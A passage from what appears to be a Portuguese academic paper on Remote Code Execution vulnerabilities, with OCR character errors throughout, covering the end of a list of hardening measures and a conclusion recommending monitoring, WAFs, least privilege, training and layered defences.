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Aplicar permissdes restritas (principio do privilégio minimo).

Configuracao de allowlists (lista de valores permitidos) em vez de blocklists;

Configuracdo de monitorizagdo continua e proativa;

Desativar fung¢des aplicacionais consideradas perigosas;

Desativar fungdes / servicos configurados por predefinicdo, mas que ndo sdo

necessarios;

Configuracdo de microservigos com responsabilidade tnica e com detegdo de

comportamento anémalos em (Falco em container)
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8 CONCLUSAO

A exploracdo de vulnerabilidades do tipo RCE ¢ um processo metodico, com elevado
impacto e que exige medidas robustas de mitigacdo. Desde o reconhecimento potencial
até a exfiltracdo de dados, a compreensao total deste ¢ essencial para a elaboragdo de
estratégias eficazes que permitam a implementacdo de uma defesa cibernética ativa,

sustentada nas boas praticas da industria e na redugdo da “superficie de ataque”.

A presente investigacdo permitiu confirmar que as vulnerabilidades de Remote Code
Execution (RCE) continuam a representar uma das ameagas mais criticas no atual
panorama de ciberseguranca. A analise realizada demonstrou que estes vetores de
ataque se caracterizam por um tempo de exploragdo extremamente reduzido e uma
estreita correlacdo com deficiéncias nos processos de gestdo de patches e atualizacdes

de seguranca.

O estudo evidenciou que a natureza particularmente severa das exploracdes RCE
decorre da sua capacidade unica de permitir a execugdo remota de codigo arbitrario em
sistemas-alvo, frequentemente com privilégios elevados. As consequéncias destes
compromissos sdo invariavelmente graves, podendo incluir o controlo total de sistemas,
exfiltragdo massiva de dados sensiveis ou mesmo a instalacdo persistente de backdoors

€ ransomware.

Perante este cenario, a investigagdo permitiu identificar um conjunto de boas praticas e
medidas técnicas que se podem revelar particularmente eficazes na mitigagdo destas
ameagas. A monitorizacdo continua, assente em solucdes SIEM para agregacdo e
correlacdo centralizada de logs, mostra-se essencial para uma dete¢do proativa.
Complementarmente, a analise detalhada do trafego de rede e a monitorizagdo granular
de aplicagdes web constituem elementos criticos numa estratégia de defesa em

profundidade.

No plano técnico, a implementagdo de Web Application Firewall (WAF) com

capacidades comportamentais, conjugada com a utilizacdo de containers configurados
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segundo o principio do privilégio minimo, pode revelar-se particularmente eficaz na
contencdo de exploracdes RCE. Igualmente determinante ¢ a aplicagdo rigorosa de
hardening em sistemas e aplicac¢des, eliminando servigos desnecessarios e reduzindo,

assim, a superficie de ataque.

A dimensdo humana e organizacional ndo deve ser negligenciada. A formacao continua
das equipas técnicas, a realizagdo regular de testes de penetragdo (preferencialmente
com validacdo externa) e a manutencdo atualizada de planos de resposta a incidentes
surgem como elementos indispensaveis numa postura de seguranga proativa. Particular
aten¢do deve ser dada aos processos de salvaguarda e recuperacdo, que funcionam como

ultimo reduto de defesa perante um ataque bem-sucedido.

Importa sublinhar que nenhuma das medidas isoladamente oferece protecao absoluta.
A estratégia mais eficaz passa necessariamente pela conjugacao sinérgica de solugdes
tecnologicas avancadas com processos bem definidos e equipas devidamente
capacitadas. A ado¢do de uma abordagem em camadas, que incorpore principios de
security-by-design desde a fase de concegdo dos sistemas, mostra-se particularmente

promissora.

Embora o presente trabalho tenha permitido avangar significativamente na
compreensdo e mitigacdo das ameacas RCE, identificaram-se areas que merecem
investigacdo futura. Destacam-se a necessidade de desenvolver métricas quantitativas
para avaliagdo de posturas de seguranca e a realizagao de estudos setoriais comparativos

que possam informar estratégias especificas para diferentes dominios organizacionais.

Em sintese, face a sofisticagdo crescente das ameagas RCE e a sua potencial gravidade,
as organizacdes devem encarar a ciberseguranga como um investimento estratégico
continuo. A implementacdo sistematica das medidas aqui propostas, adaptadas as
especificidades de cada contexto operacional, permitira reduzir significativamente os
riscos e fortalecer a resiliéncia organizacional num panorama de ameagas em constante

evolugao.
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